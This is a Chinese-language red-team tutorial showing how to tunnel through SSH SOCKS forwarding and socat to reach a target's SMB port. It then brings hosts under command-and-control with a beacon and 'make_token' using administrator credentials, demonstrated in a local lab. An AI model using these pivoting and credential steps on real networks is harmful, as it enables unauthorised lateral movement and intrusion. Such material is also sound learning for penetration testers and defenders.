0x00 前言
这一节将来介绍如何通过 SSH 通道进行攻击。
0x01 通过 SSH 建立通道
1、连接到上图中蓝色区域里的 PIVOT 主机并开启端口转发
1 | ssh -D 1080 [email protected]<blue pivot> |
该命令中的 -D 参数会使 SSH 建立一个 socket,并去监听本地的 1080 端口,一旦有数据传向那个端口,就自动把它转移到 SSH 连接上面,随后发往远程主机。
2、在红色区域的 PIVOT 主机上开启通过 SSH Socks 的 445 端口转发
1 | socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:<target>:445 |
socat 可以理解成 netcat 的加强版。socat 建立 socks 连接默认端口就是 1080 ,由于我们上面设置的就是 1080,因此这里不需变动。如果设置了其他端口,那么这里还需要在命令最后加上
,socksport=<port>
指定端口才行。
3、在攻击者控制的主机上运行 beacon,使其上线
1 | 注意需要使用 administrator 权限运行 beacon |
4、在上线的主机上运行以下命令
1 | make_token [DOMAIN\user] [password] |
整体的流程就是下面这张图一样。
0x02 演示
我在本地搭建了这样的一个环境。
- 首先使 Win1 主机上线,接着在 Linux1 主机上通过 SSH 连接到 Linux2 主机。
1 | ssh -D 1080 [email protected] |
1 | > ssh -D 1080 [email protected]192.168.175.146 |
2、在 Linux1 主机上开启 445 端口转发
1 | socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:192.168.232.132:445 |
3、在 Win1 主机上运行以下命令使 Win2 上线
1 | make_token teamssix\administrator Test123! |
1 | beacon> make_token teamssix\administrator Test123! |
4、随后便可以看到通过 SSH 上线的主机
参考链接:
https://payloads.online/tools/socat
https://www.bilibili.com/video/BV16b411i7n5
https://blog.csdn.net/pipisorry/article/details/52269785
更多信息欢迎关注我的微信公众号:TeamsSix